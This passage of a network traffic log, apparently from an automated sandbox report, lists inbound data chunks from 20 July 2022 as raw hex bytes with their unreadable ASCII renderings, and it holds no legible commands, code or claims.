2022-07-20 04:06:58 UTC	6207	IN	Data Raw: 9d ae 75 1b 83 76 a8 1a 4b 5b 78 83 85 27 a0 6f ef 7e 15 cf f8 d3 c0 fa 21 b9 d2 ec b4 bd 47 17 53 4d 89 e1 b8 52 5d 5b db b8 07 b2 d7 ab 3c 2d 7a 14 b9 db b5 fa 5c 98 49 54 95 97 de 78 d4 fa 4b 41 79 2b 17 12 a8 6c 0c 1c 03 f4 ad 88 9a 3d 46 c6 48 3c b8 60 f2 81 60 41 da 40 1d 40 f5 3e d5 ec 97 bf b2 8e bd f6 57 d4 24 bb 86 28 17 e7 f2 c9 f9 b6 0f f6 47 7f 6a e1 fc 49 f0 83 5a d0 ad 6f ef 65 b6 54 b0 8d 40 49 65 ca b3 31 e9 b5 7d 6b ce 96 0f 10 9d dc 74 34 e6 5d cc 6d 14 43 7d 63 2d b4 9a e9 b7 88 15 09 6d 30 2a 1b 27 be 3d 3f 2a f4 ab 1f 19 68 1f 0d ae ac e6 d2 75 7b eb fb 6b 6c 86 b1 38 11 3b 11 cb 06 ee 33 5c 47 86 be 16 5d ea 56 16 d7 f6 5a 8d 9d ee a2 ee 41 d2 e4 61 b8 01 eb 9f e5 5d 35 96 9f 65 ad f8 b3 4c b0 f1 4e 8e ba 54 f6 21 63 92 35 8c f9 73 Data Ascii: uvK[x'o~!GSMR][<-z\ITxKAy+l=FH<``A@@>W$(GjIZoeT@Ie1}kt4]mC}c-m0'=?hu{kl8;3\G]VZAa]5eLNT!c5s
2022-07-20 04:06:58 UTC	6215	IN	Data Raw: 0e f7 01 89 24 bb c7 f7 73 9e 7f 0a e9 74 2d 3a e6 d6 68 b5 38 b4 b5 d4 6d e1 53 23 09 07 98 80 7a b2 8f 4a f3 a1 39 39 da 3a af 43 36 68 e8 fe 3c 3a 7c 73 c1 0e 90 6f 34 70 87 75 b4 84 b6 e3 d9 f2 39 18 3c 8c f1 54 75 29 ef b5 49 a2 96 78 2e 2e 26 b8 8b cb 55 94 72 14 72 0a 10 00 20 0e 2a 1d 0b c6 77 da 5f 89 27 d5 34 eb 7b 78 c3 e5 65 b6 68 b3 11 07 a8 da 7b 7b 57 b2 f8 5f f6 81 d1 de 10 9a fe 91 0c 93 40 08 86 58 61 50 14 37 de e3 b5 7a 94 67 0a cb 96 a5 4b 7c b4 b1 48 f5 5f 82 9e 21 83 52 f0 fc 5a 75 ae 97 71 a7 c5 63 12 21 69 54 28 95 88 c9 61 8f 5a f5 2b 76 23 82 2b ca 3c 1d e3 bf 03 78 4b c3 b0 b4 5a a7 d9 e0 b9 76 95 56 e0 96 70 58 f4 f6 1e 95 ea b6 b3 c5 79 6d 1d c4 4f be 29 14 3a b7 a8 3c 8a fa 4a 72 f7 14 6f 7b 1d 34 e3 ca 68 46 c9 b7 06 ac 6d Data Ascii: $st-:h8mS#zJ99:C6h<:\|so4pu9<Tu)Ix..&Urr *w_'4{xeh{{W_@XaP7zgK\|H_!RZuqc!iT(aZ+v#+<xKZvVpXymO):<Jro{4hFm
2022-07-20 04:06:58 UTC	6231	IN	Data Raw: ef c6 bf 16 6e bc 71 e1 fb 4d 3e 51 14 76 90 36 e8 a2 8e 30 a5 0e 02 ed 18 fe 1a e7 7c 43 a8 69 b7 d2 62 d2 d8 5b a8 3c 45 9d dc fd 6b 67 41 d2 ac 7c 0f aa 69 e7 55 96 c2 f5 75 14 0e 9e 5b 79 a2 d8 93 d1 c7 62 7b 7a 51 47 9a aa 6b 66 44 6e db 51 67 2b 79 a6 b5 8b a8 de 41 28 ae 48 8f 9c 9e c2 ba 7f 0e e9 17 d6 1a 4b 6b 12 f9 6c b0 ca a3 ca 62 0b 3b 1e 70 54 f3 8c 77 ae 96 5d 3a cf 4b f1 3d 94 57 86 3d 47 4e b8 9a 33 24 cb f3 04 8c 1d cc 32 7b e3 83 5d be af e2 cf 00 ea 9e 3c b0 9b 42 d1 af ed 2c 25 75 86 e2 de 46 56 2c 41 01 5d 49 ce dc 9e d5 72 84 52 d5 a3 68 52 57 d5 9f 5d fc 10 82 d9 7c 0b a5 5c db 69 eb a5 c5 71 08 9b ec aa 72 14 b7 27 f3 eb 5e ad a5 7c ed c0 ff 00 80 d7 2d e1 3b 44 b3 d2 63 8d 17 64 6a 8a aa 3b 81 8a ea f4 cf dd a6 e1 d4 9c d7 a4 8f Data Ascii: nqM>Qv60\|Cib[<EkgA\|iUu[yb{zQGkfDnQg+yA(HKklb;pTw]:K=W=GN3$2{]<B,%uFV,A]IrRhRW]\|\iqr'^\|-;Dcdj;
2022-07-20 04:06:58 UTC	6247	IN	Data Raw: f2 38 d8 16 80 da 46 cb 23 7a 11 c7 4f 5a 7d b6 85 26 bf a9 5d 9d 56 79 2d 9a 15 0e f2 dc 49 83 cf 41 8e a4 9a 89 c1 54 92 92 64 56 94 b1 1f 12 d5 1c d4 5a 15 f6 a5 74 96 d6 91 46 5f 39 2a 58 00 00 eb c9 3d 2b b3 b6 f0 8e 85 a2 7d 8a eb 55 f1 66 9a 0b 29 67 b0 88 34 8c ac 0f dd c0 e3 f1 aa de 28 f8 6b 61 a7 43 04 63 59 b5 bc 69 13 cc 3f 64 91 8f 96 48 e1 18 8e a7 f4 ae 6b 46 f0 fd a5 dd cc 76 90 5b 35 fd fb 1f f5 31 e4 9e 3f 9d 75 4a b5 18 c7 92 5a b3 38 b5 49 da 4a ec fb b3 e0 97 c5 cf 86 fa 37 84 e2 59 ee 34 1d 22 4c fc a2 de 36 2c 40 ee ec 57 3b 8d 15 f1 65 cd f4 c1 e3 8a ee dc e9 f6 d0 b7 93 20 b6 84 05 4c 7f 7b d4 fe 34 52 8d 49 b5 ee 47 4f 99 ea 2c 7c f6 51 3f 44 7c 53 f1 5b 41 f0 f6 b5 6f a2 4d 70 d7 1a 95 d2 31 fb 3d a0 de c8 a0 72 5b 1f 77 db 35 Data Ascii: 8F#zOZ}&]Vy-IATdVZtF_9*X=+}Uf)g4(kaCcYi?dHkFv[51?uJZ8IJ7Y4"L6,@W;e L{4RIGO,\|Q?D\|S[AoMp1=r[w5
2022-07-20 04:06:58 UTC	6254	IN	Data Raw: 6f a7 be c6 96 51 22 97 45 63 8e 14 f2 48 ef 51 b4 32 8d 59 23 d3 4c b7 61 9b cb 1e 50 de 5c 06 c6 7d 06 47 4c d5 2b 6b d8 60 ba 8e 59 22 52 a8 70 23 18 39 5c 1c 8f d6 ba fb 5f 89 37 30 e9 71 e8 5a 64 31 59 69 8d 2a b3 1b 68 14 5c 73 8d c0 31 c9 39 c5 6b 1e 47 1b bd 19 ad 93 f2 34 35 23 a8 f8 ff 00 58 8a 08 3c 3f 34 52 da 47 e4 11 69 11 cb 30 c0 cb 1c 63 3c 62 b8 4d 56 f2 f3 49 b9 31 cd 09 8c 2c 85 42 ca 39 52 0f 20 8f 5a fa 27 50 f8 db 73 a5 78 7a c2 c7 c2 ef 2e 9d 24 0a 25 b9 b9 bf b5 d9 2b 38 5e 46 00 c3 73 8e 6b e7 4f 15 eb 97 3e 24 bd b8 b9 bc 91 a4 b8 76 32 bc b2 e3 2c c4 e4 e0 0e 05 6b 52 9d 3e 64 f7 66 92 49 59 dc ae b0 cb af 6a 08 91 11 1b c8 ca cf 70 c0 95 4c 9c 6e 6c 74 5c f5 35 de 78 b7 c2 32 e8 f2 69 f6 70 38 83 54 9a 51 6d 35 85 a6 5a 39 40 Data Ascii: oQ"EcHQ2Y#LaP\}GL+k`Y"Rp#9\_70qZd1Yi*h\s19kG45#X<?4RGi0c<bMVI1,B9R Z'Psxz.$%+8^FskO>$v2,kR>dfIYjpLnlt\5x2ip8TQm5Z9@
2022-07-20 04:06:58 UTC	6270	IN	Data Raw: 88 fb db 4e 9b c9 b7 92 e5 f3 be 52 64 6c 9c 9c 63 80 3f 0a f9 57 e2 0f 85 f5 6f 17 6a 5a 83 5b f8 5a ea e6 ee ea 76 90 ea 77 e0 27 94 8c d8 50 aa 30 3a 7a e7 8a fa 95 a4 52 80 0e 8b 8c 0c fa 54 12 44 2e 5b 33 31 c7 65 07 8a fd 02 b6 19 56 49 3d 8e b7 51 9f 1e eb ff 00 04 75 9d 22 ce 2d 73 c2 0f 1e af 0d a4 4d 1d dd c1 f9 4e 31 86 f2 73 d4 8e 80 8e 73 5c f6 9d e3 c3 af 6a ba 5e 91 ab 69 97 7a 86 9f a6 a3 79 9e 58 58 67 9a 00 32 51 c1 18 38 3d f3 c8 af af 75 8f 07 2d cc 77 46 de e0 db ef 8c 45 6d 6f 1e 56 28 79 c9 3b 47 72 7a d6 47 8b be 10 69 5e 34 d1 23 82 e8 8b 7d 5e dd 47 91 a9 5b 28 46 46 1e c3 aa 93 d4 1a c1 e1 5e d1 56 17 3d cb 3f 0d a5 d1 fc 53 1d 9e a3 65 6d 7f a5 43 6d 6e 62 5d 32 e3 31 c6 a8 dc 02 53 a3 64 74 6a e3 be 30 fc 17 37 6b 73 af e9 66 Data Ascii: NRdlc?WojZ[Zvw'P0:zRTD.[31eVI=Qu"-sMN1ss\j^izyXXg2Q8=u-wFEmoV(y;GrzGi^4#}^G[(FF^V=?SemCmnb]21Sdtj07ksf
2022-07-20 04:06:58 UTC	6286	IN	Data Raw: 0b 5e c3 d1 1c 61 f0 9d a4 7a 0c 1a 98 bc 68 ee 04 9b 64 88 c8 06 d6 1d 48 ee 47 a0 ef 5d 5e 91 3e 83 62 b2 5c a6 b2 d3 b6 c6 06 dd 63 f9 9a 42 38 61 8f 7f 5a f3 8b bb 3d 4f 47 b7 92 38 25 df 6b e7 10 0c 98 df 91 c6 48 3c 8a 7f 87 b4 69 75 8d 4a 3b 44 75 8e 59 72 72 50 b7 3d 71 c7 39 ae 58 d6 54 5a 50 8e a0 95 f7 3a 3f 12 f8 72 5b 06 d3 b5 0b e9 3e d6 97 71 12 5a 30 0f ca 0e 30 3d 18 7a 9e b5 e7 da a7 91 6b 26 6d b7 34 24 1c 6e 3f 37 5f e2 c7 4a f6 4b 5f 07 be a0 80 ea 9e 6e 9d a5 5a 44 cb 8b 99 fe fc 9d 01 0a 79 0b 9f 5a e4 24 f0 a6 94 ba 95 b2 5e ea 70 dc 69 d2 4b e4 bd c5 8a b3 ba b1 e8 15 7f 8b d3 eb 5a d4 a3 2e 6e 64 b7 fe be e2 d3 49 18 ff 00 f0 88 d9 59 68 22 f6 0b 96 b9 d4 7e 47 6b 66 20 aa 86 e9 8c 70 d9 f4 ed 5c dc 7a 3a d8 5f de 69 f7 96 d3 3d Data Ascii: ^azhdHG]^>b\cB8aZ=OG8%kH<iuJ;DuYrrP=q9XTZP:?r[>qZ00=zk&m4$n?7_JK_nZDyZ$^piKZ.ndIYh"~Gkf p\z:_i=
2022-07-20 04:06:58 UTC	6294	IN	Data Raw: 8c 75 f6 34 ef 16 78 a3 47 d7 96 de ed f4 08 74 c9 22 8c 24 62 d5 b2 92 b0 ea 5b 1c fd 0f ad 75 42 8f 3d e7 29 5a 5d bf ad 05 ae c8 e7 f4 cd 36 c3 4c bc b6 b9 b9 91 af 11 82 9b 8b 42 4a 06 24 e0 ab 37 b7 5a 6d f5 d6 99 0c 37 02 da d5 a3 bb 69 49 12 c6 c0 c6 91 ff 00 74 0e a7 8e f5 d3 47 e2 0b 7f 11 f8 7c 19 e0 8e d2 18 c9 49 84 45 43 96 00 6d 62 c7 90 b8 eb 81 58 57 77 fa 35 ad b5 b4 96 16 f1 47 75 0b bc 6d 24 72 f9 ad 31 ce 01 da 47 03 ea 39 ae 89 53 9e 9a ab 0d 6a ce 77 53 b7 f3 9b 7a 63 70 55 91 4f b0 eb 5d 1f 89 35 9d 13 59 d1 74 73 a6 69 2d 65 ab 46 a1 2e 6e 3c dc c6 e4 77 db d7 26 b3 f5 49 85 d2 da 5e 98 16 05 3f 2b c6 a3 03 d0 f1 5a fe 09 d2 6c fc ed 5e 5b 98 18 9b 38 bc d8 ee 0c 65 e3 8d b3 85 2c 07 bf 7e d5 aa 4d a5 15 63 ae a2 b2 53 ec 73 d6 5a Data Ascii: u4xGt"$b[uB=)Z]6LBJ$7Zm7iItG\|IECmbXWw5Gum$r1G9SjwSzcpUO]5Ytsi-eF.n<w&I^?+Zl^[8e,~McSsZ
2022-07-20 04:06:58 UTC	6310	IN	Data Raw: c1 ae 0e 6d 5b 4b 92 ea 5b 89 31 23 bb b1 0d b9 8b 33 1e 72 79 e7 35 85 60 b3 de be c2 87 ca 3d 47 4d c7 de b7 6c 7c 3b 73 25 c2 38 b7 06 35 3c 64 71 59 4a 52 6f 5d 4d 22 bb 22 fd 8e b5 6e e9 1a b5 b4 68 4f 56 c3 7e 95 bf 67 e2 3f f8 45 ee be db a4 4a 2c ef d9 36 f9 d0 fd fd a7 b7 e3 59 23 44 9d d5 c0 b6 c1 1f 5c 1c d0 9e 1e ba 75 26 28 17 79 1d 4e 72 08 a8 52 95 cd 39 57 53 b0 b1 f8 b5 e2 39 6e 4f 9b ad de 6e 1c 71 29 00 54 97 ff 00 10 b5 3d 4b 2b 73 aa dc dc c6 9f c2 d3 36 09 3d b8 22 b8 cb 6d 16 fb cc 60 62 c3 83 82 79 fc f1 52 37 85 f5 25 98 91 6e 23 8c 7a b1 c6 7d 6a a3 56 52 d9 dc 39 63 d8 ee ec 3c 7b ab c1 0c 10 45 aa 5c 41 16 37 32 ac ed f2 0e dd ea 49 be 2a eb 56 93 79 50 6b f7 43 8c 9c c8 4f e0 09 ae 1d 7c 35 a8 cf bc 6f 89 50 75 e7 bf a1 a6 9f Data Ascii: m[K[1#3ry5`=GMl\|;s%85<dqYJRo]M""nhOV~g?EJ,6Y#D\u&(yNrR9WS9nOnq)T=K+s6="m`byR7%n#z}jVR9c<{E\A72I*VyPkCO\|5oPu
2022-07-20 04:06:58 UTC	6326	IN	Data Raw: a6 ce b3 5e 61 9e 55 bb da 36 95 32 6e c7 e7 5a 9a c7 c0 9d 57 46 8d de 6d 72 c3 63 1c 06 b9 9b 68 3f 43 eb 59 7a 87 c0 cf 14 59 db 44 f0 5d da 73 f3 19 04 e7 18 ed d3 93 59 fb 38 b6 ec 90 f9 ec 64 b5 93 69 d3 19 63 48 ed 8e 09 dc 1b 6f f5 ac db cf 10 c5 a7 33 ca f7 11 48 c3 ef 60 02 4d 6b dd fc 27 f1 5d d5 9a 2c 66 d0 cf 83 ba 56 ba 5d 9f 80 3c d6 65 cf c0 ff 00 14 3c 78 97 51 d3 77 64 61 44 a0 0c 7e 55 6a 1f dd 33 72 7b a3 9b bf f8 97 73 25 cc 89 6e 91 ed 18 f4 5a a9 27 c4 c9 d9 b6 2d bb 3b 9e 30 18 90 4f d6 ba 89 3e 03 6a cd 30 2e 2d 67 90 81 9f 2a e1 48 c5 31 fe 01 eb d6 de 68 4f b2 db 44 df 30 8c cc 0b 0f ca a5 c6 51 5e e2 22 f2 97 53 9a 3e 3b 94 42 49 b7 8e 40 39 6d c3 35 0c de 37 84 ec 33 58 47 20 63 c0 f2 81 e0 fa 57 57 6b f0 62 ea ce 6d f3 dd da Data Ascii: ^aU62nZWFmrch?CYzYD]sY8dicHo3H`Mk'],fV]<e<xQwdaD~Uj3r{s%nZ'-;0O>j0.-g*H1hOD0Q^"S>;BI@9m573XG cWWkbm
2022-07-20 04:06:58 UTC	6334	IN	Data Raw: ec 05 79 87 88 7e 2f eb 17 97 32 8b fb f9 ad a3 39 1f bb 05 40 53 fd ef a5 75 3a 31 7a c9 8d 57 54 f4 89 d1 5f f8 9a ea 1b a3 14 5a 94 d6 ee 1f 98 ca e3 04 7b 9e 3d aa df fc 2c ad 48 5f 5b db 5c dc 08 a2 0c a2 49 62 51 f3 27 61 c7 39 35 e4 1a e7 8b a1 9a 4b 79 c3 2c e1 a2 da 1a 56 c8 e3 a1 23 bd 26 88 6e af bc b0 b7 b0 89 64 04 aa c4 37 28 c7 76 3d ab 2e 76 9b 8d ef 62 55 78 de e8 f6 d7 d5 2d af e6 96 49 64 ba b7 50 72 24 8e e8 8c 0e d8 07 fa 55 7b 6d 53 4c d3 f7 c8 f7 97 77 e3 27 6a 9b ac 01 f5 f7 af 38 b1 f0 6e bd 74 d2 ca 2f e2 bb 03 21 56 39 80 c1 ad 4d 2b c0 7a ee a1 a6 ed 10 2c 7b dc ef 2d 32 82 7b 7c b9 a5 3a d5 a9 5a ca ff 00 20 94 a1 25 78 a7 73 d5 6c 7c 40 b2 5b 95 b6 30 db 2b 2f fa d9 66 2c c0 fb 67 ad 66 ea 1a f4 68 d8 ff 00 84 8e c4 dd f4 11 Data Ascii: y~/29@Su:1zWT_Z{=,H_[\IbQ'a95Ky,V#&nd7(v=.vbUx-IdPr$U{mSLw'j8nt/!V9M+z,{-2{\|:Z %xsl\|@[0+/f,gfh
2022-07-20 04:06:58 UTC	6350	IN	Data Raw: 47 74 ce 51 fe 1f 49 f6 a7 22 ee e5 c1 39 01 9b 92 7f 2c 0a b7 ff 00 08 74 d3 20 8a e6 e1 80 1f f3 d0 03 c7 d4 56 e4 be 35 d3 a1 65 05 e4 1d 8f ee c9 fe 75 4f 50 f1 45 de a9 66 f1 68 d1 87 63 c3 4b 20 2b 81 ea 2b 9e a4 dc 55 96 e5 a8 45 bd 4e 7f 59 f0 a6 a6 fe 54 16 ce b6 f1 a8 c7 99 b8 be 47 d2 b2 ec bc 31 75 a4 48 0c 97 6c f1 92 4b 06 0d 8e 7d ab ac b1 b5 f1 14 c8 ee 6f 6d d1 02 e1 37 73 cf bd 4b 0f f6 b4 4a 86 fb 53 b4 8e 22 3a 45 1e e2 7f 3e 2b 83 0d 19 ad e3 a7 76 4b 51 6e e9 98 16 76 9f d9 37 de 6d 96 a9 34 8a f1 b2 c9 1f cd 81 9e f8 3d 31 da a6 b5 be be d5 51 ed a3 bc f3 00 53 99 64 38 5c 8f 5e d9 fa 56 fc b0 da ea 1f 2c 97 1e 7e 07 23 cb c7 ea 31 54 16 cb 47 b7 b9 f2 a5 79 a7 85 3e 6f dd 02 30 7e 98 e6 b0 8e 11 d6 a9 27 29 7b 9e 5b 9b 3a b5 2d c9 Data Ascii: GtQI"9,t V5euOPEfhcK ++UENYTG1uHlK}om7sKJS":E>+vKQnv7m4=1QSd8\^V,~#1TGy>o0~'){[:-
2022-07-20 04:06:58 UTC	6366	IN	Data Raw: 90 b3 60 f6 db d0 62 b2 ad cb 18 be 6d 8b 8b 5b 48 cd 8b c3 9a ae 96 f1 19 d2 52 53 84 94 1c af e2 47 7a da b4 9d 95 a4 86 79 fc c9 58 71 36 f2 30 3d 38 e9 54 bc 41 e2 e6 b6 b7 f2 08 62 80 ee 00 71 d7 bf 15 86 be 21 98 db a9 36 4d 3e ef e2 27 aa fb 57 04 6a f3 cf 99 3d 11 5c cb 64 74 ad a2 cb a8 6c 49 a7 68 ed f2 7f 78 2e b7 03 ff 00 01 35 cb eb 4d a9 69 52 48 20 8c 5e 58 a1 c0 2c a1 b1 54 66 be 8a 07 93 ec e2 51 11 fb d1 cb 9c 0c fe 35 5e d7 56 43 26 d9 03 3c 7e ce 40 35 ea d3 70 96 b1 33 6d bd 1b 37 b4 3d 66 7b 05 0e 02 a3 c9 c1 b7 2a 17 1e 98 26 ba ab 3f ed fb 87 11 5b 40 ba 70 91 77 31 9a 40 51 c0 f5 3c e2 b9 cb 2f 19 e9 96 ae 90 5c 43 1d a3 82 02 b6 16 45 3f 5c d5 d9 be 25 e9 b6 b7 46 33 25 b3 e7 2a 7e cd 11 56 fc fa 56 ad a4 ae d9 28 e8 34 73 af 5b Data Ascii: `bm[HRSGzyXq60=8TAbq!6M>'Wj=\dtlIhx.5MiRH ^X,TfQ5^VC&<~@5p3m7=f{&?[@pw1@Q</\CE?\%F3%~VV(4s[
2022-07-20 04:06:58 UTC	6374	IN	Data Raw: a6 9e c7 b7 6a b3 cf 65 6b 02 dc ea 62 28 d4 85 8c 86 ed ee 2a 08 ee 6d e3 52 ef 2c 37 11 36 42 b7 cb 9e 3b 91 d6 bc a6 2d 5a 4f 0f d8 4b 14 9b b5 1b f2 f8 90 ca c1 95 7f dd a8 b5 4d 7b 59 f2 84 ad a6 43 6e 85 46 0a 74 fa 90 2a 56 31 35 a3 2d d9 ea d1 ea 57 cf 69 1c b1 dc dd 46 64 67 1f 21 cf ca c3 3c 05 03 a5 5d b7 d4 de 19 23 8a da d8 44 c7 05 4c b9 3c 7a 57 83 4f e3 cd 7a 6b 88 1a 3b 30 12 03 f2 a9 27 1f 95 6d e9 fe 2a f1 75 bd e7 db 5e 23 1e f5 24 34 9c 81 f4 f6 ad 7d b2 8a bc d9 1c c9 6b 16 7b 6e b7 a8 de 49 24 4f 89 2e 17 00 b3 0f f9 64 c3 b7 d2 9f 35 e5 d2 59 c7 7e bc dd 6e 06 43 c7 dd c7 f7 6b c6 57 e2 45 ec b0 cb 05 c8 97 2e c0 f9 b0 8e ac 7d 2a c4 be 3c d4 2f 6d e3 89 6f 16 49 90 1c 46 dc 1e 7f bc 7d aa 55 48 bd 53 2b da 5f a9 d2 eb d7 57 ba 85 Data Ascii: jekb(mR,76B;-ZOKM{YCnFtV15-WiFdg!<]#DL<zWOzk;0'mu^#$4}k{nI$O.d5Y~nCkWE.}</moIF}UHS+_W
2022-07-20 04:06:58 UTC	6390	IN	Data Raw: c7 73 3f 9c e1 21 91 c9 c3 10 48 3e c3 b5 66 45 e3 71 a6 bc af 6f 14 71 c8 4f cb 29 ea bf 4f ad 76 38 47 96 c6 2d dd 9e b9 aa 6a 1a 3f 83 35 8f b1 5a 59 c4 cc ad e5 ce 70 30 87 e8 41 c8 3e b5 ce ea 3a d6 95 a7 eb 8d 3c 17 b1 c6 26 5c 1d ab 91 11 3d 86 38 c9 af 24 d5 3c 5b 3d ed c4 b7 17 57 92 19 db 9c 75 ce 7f 53 58 97 9a a5 d4 fb 02 45 26 d6 3f 7b 18 c8 f4 c5 65 1a 1c d2 bd b4 07 24 fd 0f 54 7f 17 d8 de 5c 4b 18 b8 69 dd 09 da cc 07 5f a5 30 eb 31 2a a4 93 da 5b dd c4 f9 32 96 ca 80 9f ef 7a fb 57 98 58 c8 60 7d ef 04 af 9f ee 75 ab 32 eb 93 4e 92 41 15 bc ab 19 18 27 a7 1e f5 d4 f5 d1 a3 36 ce eb 50 f1 07 86 75 06 8d 6e 34 f0 e9 12 ec 4c 31 18 5f 6c d2 f8 57 52 f0 c6 89 a8 1b b8 6d a4 4c c6 ca b9 62 36 92 38 39 1e 9e 95 e6 f3 69 fa 8f 98 5d 62 d8 ac 38 Data Ascii: s?!H>fEqoqO)Ov8G-j?5ZYp0A>:<&\=8$<[=WuSXE&?{e$T\Ki_01*[2zWX`}u2NA'6Pun4L1_lWRmLb689i]b8
2022-07-20 04:06:58 UTC	6406	IN	Data Raw: 3e ea b5 b7 32 8c 79 a5 79 68 6b 78 c3 c2 9f da e8 2f fe d5 2d 80 62 37 47 8c 37 03 3f 95 79 3f 8b 1e ce 18 cd b2 5c 4d 70 d9 f9 57 27 68 3d eb d2 bf e1 2b 7b 3b 0b c8 ef ae 3e da d1 12 e9 24 c7 2b 2a 8e 8d eb d2 b9 ab 3f 13 e9 3e 28 c4 f7 3a 64 6a d1 e4 b3 1f 94 60 7f 3c d6 d8 78 3b 27 7d 8e ba d6 96 cf 53 86 93 49 9a 1d 3e 39 a5 8c 61 c1 00 1e f8 fe 95 6b c1 37 fa e5 ec 97 0d 0d d9 82 c6 d0 04 68 a5 e7 39 3d 16 b5 35 ef 14 e8 1a 9f 98 86 39 2d a2 46 c8 11 9c 82 7d 87 a5 73 ab f1 03 4f b5 77 8a d2 36 8a 32 70 49 e3 35 db ec ea ca 12 8f 2d df e4 71 25 ca ef 72 7d 67 ce f1 05 c4 91 64 48 41 e9 d3 18 e2 b0 64 4b 7d 2a 40 8e 08 39 c6 17 1c 55 9b af 17 24 6a e9 67 6f fb c9 47 cf 27 7c 55 4b 7b 39 75 bd 62 c8 3f ee 42 8f 97 3f c4 73 de ba 63 17 18 fb ee c8 ca Data Ascii: >2yyhkx/-b7G7?y?\MpW'h=+{;>$+?>(:dj`<x;'}SI>9ak7h9=59-F}sOw62pI5-q%r}gdHAdK}@9U$jgoG'\|UK{9ub?B?sc
2022-07-20 04:06:58 UTC	6413	IN	Data Raw: 63 22 4d 4e 3d 4e 11 04 b2 c9 0a af 3c f2 3d b9 a4 8e dc 37 96 1e f5 bc b8 ce 54 c4 70 7e 86 b1 2e 6d ad 2d 75 27 80 5e ad ed b9 3f 28 8d 8e 71 ef 53 8d 22 41 32 08 08 11 31 f5 e4 7d 6b b9 49 3d 2c 71 bb 9e 97 a7 eb 56 f1 84 95 dd 9f cb 5c ee 1c 1e 3d 6a 9f 88 7e 2d 49 77 19 b4 b4 79 1e 77 21 32 4f 5c f6 e2 b2 b4 fd 30 20 09 2b 94 0c 30 06 78 35 75 74 c7 d1 d7 cf b3 d1 d6 f5 98 f1 b7 04 82 3b 82 6a 65 18 9d 11 9c b6 47 51 e0 6f 09 78 b6 e7 cd 37 77 71 e9 70 24 7b d4 4d f3 89 41 ec a3 9e 6b d2 ed 3e 16 c3 69 a3 c7 75 79 79 72 2e 3e f8 93 72 94 c1 e4 12 a3 91 5c 77 81 75 eb f9 ad 4c b7 71 7f 67 32 1c 49 e6 4c 18 15 fe 95 dc 5c 7c 57 f0 fc 16 11 d8 3e 4b 1e 58 cd 96 5c 0f e1 dc 3f 4a e1 a9 29 a7 bb 47 a3 49 53 6b 53 8e d5 fc 1b 69 35 c1 13 de 34 52 1f 99 58 Data Ascii: c"MN=N<=7Tp~.m-u'^?(qS"A21}kI=,qV\=j~-Iwyw!2O\0 +0x5ut;jeGQox7wqp${MAk>iuyyr.>r\wuLqg2IL\\|W>KX\?J)GISkSi54RX
2022-07-20 04:06:58 UTC	6429	IN	Data Raw: be be bd 30 1b 35 8a 15 04 c8 64 ec be b5 95 6a 57 8d e0 ec fb 92 de e9 1b 96 73 5a 69 77 c8 24 22 de 59 72 ab 33 1e 3f 3e d5 a9 14 8f 1d f9 37 09 15 da 11 8e 48 65 20 f4 20 8a e6 75 6d 6b 41 86 fe 24 8e 51 76 53 ef 47 8c 80 7f a8 ad 4b 4b dd 36 fa e5 25 b6 73 04 9c 7e ed 7e ee 3e 95 57 9c 6d a2 b0 e3 7d 85 bd d2 ac 61 bf fb 44 71 29 99 0e f3 18 3b 41 fc aa 2d 53 52 b3 d5 ae 3c d7 81 52 44 50 15 7c c6 24 01 f5 a6 f8 a9 fe cf ab 44 43 80 08 1d 46 09 cf b5 62 6b 2b 25 be a1 11 b4 80 96 65 19 e3 bf b0 ad 3d 9d 37 ab 45 3d 1e 84 5a e7 94 d2 40 d1 5b 82 cd d0 1e e7 eb 56 f4 fb 5b c8 6c 6e 21 b8 ce dd e1 fc 95 8f 63 38 c7 00 37 a5 7a af 85 fe 0f f8 ab c6 9a 03 ea 47 44 8e da dd 54 06 92 5c 21 20 77 0a 79 fc 6a 39 fe 17 f8 88 31 6d 91 5d c3 10 da 4c 52 64 90 3b Data Ascii: 05djWsZiw$"Yr3?>7He umkA$QvSGKK6%s~~>Wm}aDq);A-SR<RDP\|$DCFbk+%e=7E=Z@[V[ln!c87zGDT\! wyj91m]LRd;
2022-07-20 04:06:58 UTC	6445	IN	Data Raw: 33 b9 7b 37 e7 e9 5e f9 aa 5c 68 57 8e 05 d4 66 37 5f e2 8c 10 7f 1a a5 73 71 a5 49 6e 20 8a f3 62 1e f2 67 77 e0 4d 65 ec 7b 9a 73 37 b1 f2 ee b7 e1 2d 46 cb 52 79 d2 da e6 dd 15 b2 98 1c 03 f5 aa 4f a1 6a 97 17 2b 72 e6 32 1c e0 f9 83 1c 8a fa 52 fb 47 b7 8e da 49 20 d7 01 61 f7 62 27 8f d4 57 3f a4 f8 02 d7 c4 17 0e 6e a7 95 f2 7e 61 18 0a bf 9d 73 ba 1a e8 5f 3b 5b 9e 1b 20 9e da e6 28 25 0b bd 0f 05 4f 15 ec 5a 2d df f6 3e 94 91 41 12 c8 92 20 c0 5e 71 f5 c7 15 d5 b7 c1 5f 0d 18 7c b2 fb 26 60 76 c9 9d c4 1a a5 6b f0 b2 7d 2d 84 46 fd a7 b6 5c 85 58 f8 c8 f7 ad 23 46 51 7a a2 25 51 34 79 6e a9 a8 cb 35 ff 00 96 67 44 85 a5 df 26 7b 62 a7 d6 ae ac 24 9a 39 47 96 67 48 ce 1b 38 0e 4f 42 6b d0 75 8f 84 ba 4d ec 69 21 96 4b 67 53 93 26 e1 86 3f 43 5c ed Data Ascii: 3{7^\hWf7_sqIn bgwMe{s7-FRyOj+r2RGI ab'W?n~as_;[ (%OZ->A ^q_\|&`vk}-F\X#FQz%Q4yn5gD&{b$9GgH8OBkuMi!KgS&?C\
2022-07-20 04:06:58 UTC	6453	IN	Data Raw: 74 83 27 07 69 fa d1 5e 87 6d e1 6d 16 de 65 d4 6e 6f 24 17 a8 0e 6d a5 18 07 db 8a 2b b2 58 87 1d 1b d4 e5 f6 3c ba 33 e9 cf 28 74 39 fc 69 ad 6e 02 f3 d6 ac ec 27 19 e6 90 8f 98 e6 bf 5b 3e 7c a2 d1 1e 80 f3 4d d8 de cd 57 0c 20 f4 a6 98 c0 e9 4e e2 2a 18 9b b8 a5 f2 b2 b9 c5 5c 11 e3 9a 89 e3 3b b8 cf 34 20 2a 34 38 e9 c1 a8 da 33 eb d6 ae 6c 25 bd 45 21 8c 50 c0 a3 e5 1e c7 f4 a6 98 fd 6a f6 ce 78 34 85 01 ed c5 20 28 ac 6b 4e 09 9e 07 eb 56 b6 8f 4a 02 0e b8 a2 e0 57 58 98 f0 7a 50 23 f5 db f9 d5 9e 3b d3 3e 5e c2 8b 81 19 86 81 07 a7 eb 53 6f c7 6a 70 21 b8 c5 48 ee 57 f2 76 b7 38 c5 06 31 56 b6 